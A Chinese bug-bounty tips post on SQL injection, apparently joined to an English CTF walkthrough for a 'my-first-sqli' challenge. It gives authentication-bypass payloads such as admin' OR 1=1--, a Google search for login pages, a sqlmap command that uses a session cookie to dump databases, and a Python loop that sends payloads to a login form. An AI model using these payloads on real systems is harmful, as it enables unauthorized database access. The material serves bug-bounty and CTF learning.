赏金猎人笔记-sqli几个小技巧

博客总结了几个信息技术相关技巧。一是通过google查找后台登陆界面,给出了有效率达60%的sqli的payload;二是针对不同情况提供了相应的SQL注入payload;三是对于位于需身份验证控制面板内的易受攻击目标,给出了尝试攻击的方法。

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几个技巧小结

1.查找后台登陆界面: google: “www.target.com login”

有效率达到60%的一个sqli的payload:

2.sqli一个有效载荷: admin' OR 1=1- -'

3.对于类似这种: https://www.target/content/recapitulation.php?id=612
尝试 SQL 注入,使用的payload: (')

image

4.易受攻击的目标位于需要身份验证的控制面板内,可以使用:

Sqlmap -u “https://target.com/vulnerable/sqli/?id=1" -- cookie “you're cookie session”--dbs

1)始终尝试了解目标的每个参数和每个部分。
2)使用应用程序并尝试每个值和有效负载的孩子并检查结果。
3)永远不要失去希望,做你喜欢做的事情来忘记你的痛苦。

### CTF SQL Injection Challenge "my-first-sqli": Walkthrough and Solution In the context of Capture The Flag (CTF) competitions, challenges like 'my-first-sqli' provide an opportunity to explore vulnerabilities within web applications through a controlled environment[^1]. This particular challenge focuses on exploiting Structured Query Language (SQL) injection flaws. The objective is typically to bypass authentication mechanisms by manipulating input fields that are not properly sanitized. For instance, consider a login form where users enter their username and password: ```html <form action="login.php" method="POST"> Username: <input type="text" name="username"><br> Password: <input type="password" name="password"><br> <input type="submit" value="Login"> </form> ``` A common approach involves injecting malicious code into these forms. An example payload might look as follows when targeting the `username` field with `' OR '1'='1` which always evaluates true regardless of what exists in the database table for usernames[^2]: #### Exploitation Process To exploit this vulnerability effectively while adhering to ethical guidelines set forth during such events, one would proceed cautiously using tools designed specifically for testing purposes only. Here’s how it could be done programmatically without causing harm or violating rules: ```python import requests url = "http://example.com/login" payloads = ["admin' --", "' OR '1'='1"] for p in payloads: response = requests.post(url, data={'username':p,'password':'anything'}) if "Welcome admin!" in response.text: print(f"[+] Successful exploitation with payload {p}") break else: print("[-] Failed to find working payload.") ``` This script sends POST requests containing crafted inputs aimed at uncovering potential weaknesses related to improper handling of user-supplied information before processing queries against backend databases[^3]. --related questions-- 1. What other types of attacks can occur due to poor validation practices? 2. How do modern frameworks prevent SQL injections from happening? 3. Are there any legal implications associated with participating in CTF exercises involving real-world targets? 4. Can you explain more about different methods used in securing web applications against various attack vectors?
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